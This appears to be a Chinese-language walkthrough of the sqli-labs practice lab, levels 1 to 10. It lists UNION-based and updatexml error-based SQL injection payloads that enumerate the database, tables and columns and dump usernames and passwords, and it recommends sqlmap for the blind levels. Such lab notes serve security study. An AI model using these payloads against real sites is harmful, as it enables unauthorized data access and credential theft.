sqli-liabs通关之旅
第一关
加‘报错
加‘--+正常
?id=-1' order by 3 --+ 页面正常
?id=-1' order by 4 --+ 页面错误 判断字段长度为3
确定回显点:
id=-1' union select 1,2,3--+
猜数据库:
-1' union select 1,database(),3--+
猜表名:
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
猜列名:
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
猜用户数据:
id=-1' union select 1,group_concat(username,password),3 from users--+
第二关
and 1=1 正常
and 1=2 报错
?id=-1 order by 3 页面正常
?id=-1 order by 3 页面错误 判断字段长度为3
确定回显点:
id=-1 union select 1,2,3
猜数据库:
-1 union select 1,database(),3
猜表名:
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
猜列名:
-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
猜用户数据:
id=-1 union select 1,group_concat(username,password),3 from users
第三关
')报错
')--+正常
?id=-1' )order by 3 --+ 页面正常
?id=-1') order by 4 --+ 页面错误 判断字段长度为3
确定回显点:
id=-1') union select 1,2,3--+
猜数据库:
-1' )union select 1,database(),3--+
猜表名:
-1' )union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
猜用户数据:
猜用户数据:
id=-1') union select 1,group_concat(username,password),3 from users--+
第四关:
")报错
")--+正常
?id=-1") order by 3 --+ 页面正常
?id=-1") order by 4 --+ 页面错误 判断字段长度为3
确定回显点:
id=-1") union select 1,2,3--+
猜数据库:
-1" )union select 1,database(),3--+
猜表名:
-1" )union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
猜列名:
-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
猜用户数据:
id=-1") union select 1,group_concat(username,password),3 from users--+
第五关:
加’报错
加‘–+显示正常,但页面没有变化
报错型注入
库名:
and (updatexml(1,concat(0x7e,(select database()),0x7e),1))--+
查表
?id=1' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='库名' limit 0,1),0x7e),1))--+
查列
?id=1' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='表名' limit 3,1),0x7e),1))--+
第六关
加单引号,正常,加双引号,报错
判断为双引号闭合
语句同第五关
第七关
不知道路径
第八关
bool盲注 直接sqlmap
第九关
直接sqlmap
第十关
直接sqlmap